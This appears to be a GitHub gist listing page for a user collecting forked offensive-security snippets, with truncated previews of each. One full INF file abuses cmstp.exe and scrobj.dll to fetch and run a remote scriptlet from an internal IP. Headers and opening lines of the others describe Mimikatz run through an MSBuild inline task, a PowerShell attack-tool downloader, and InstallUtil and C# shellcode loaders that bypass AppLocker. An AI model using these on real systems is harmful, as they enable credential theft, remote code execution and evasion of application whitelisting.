gattacker

🖖

Hola

gattacker / powersct.inf

Last active May 10, 2018 20:21 — forked from NickTyrer/powersct.sct

Invoke Restricted Powershell via cmstp.exe /s powersct.inf

	[version]
	Signature=$chicago$
	AdvancedINF=2.5

	[DefaultInstall_SingleUser]
	UnRegisterOCXs=UnRegisterOCXSection

	[UnRegisterOCXSection]
	%11%\scrobj.dll,NI,http://10.0.0.2/tmp/powersct.sct

gattacker / Katz.Proj

Created May 6, 2018 12:57

Mimikatz In MSbuild

This file has been truncated, but you can view the full file.

	<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
	<!-- This inline task executes mimikatz. -->
	<!-- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe SimpleTasks.csproj -->
	<!-- Save This File And Execute The Above Command -->
	<!-- Author: Casey Smith, Twitter: @subTee -->
	<!-- License: BSD 3-Clause -->
	<Target Name="Hello">
	<ClassExample />
	</Target>
	<UsingTask

gattacker / PSA64.cs

Created May 6, 2018 10:25 — forked from NickTyrer/PSA64.cs

PSAttack Using MSBuild Downloader

This file has been truncated, but you can view the full file.

	//Credits to Casey Smith for his initial research here "https://gist.github.com/subTee/ca477b4d19c885bec05ce238cbad6371"
	//Based on Jared Haight work (https://github.com/jaredhaight/PSAttack)
	//1. Compile "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /out:PSA64.exe PSA64.cs"
	using System;
	using System.Reflection;

	namespace PSA64
	{
	class Program

gattacker / InstallUtil-Shellcode-cs

Created April 28, 2018 19:36 — forked from lithackr/InstallUtil-Shellcode-cs

From https://gist.github.com/subTee/408d980d88515a539672

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause

gattacker / Shellcode.cs

Created April 22, 2018 17:39 — forked from netbiosX/Shellcode.cs

C# file that contains shellcode and bypasses AppLocker via Assembly Load

	using System;
	using System.Net;
	using System.Diagnostics;
	using System.Reflection;
	using System.Configuration.Install;
	using System.Runtime.InteropServices;

	/*
	Author: Casey Smith, Twitter: @subTee
	License: BSD 3-Clause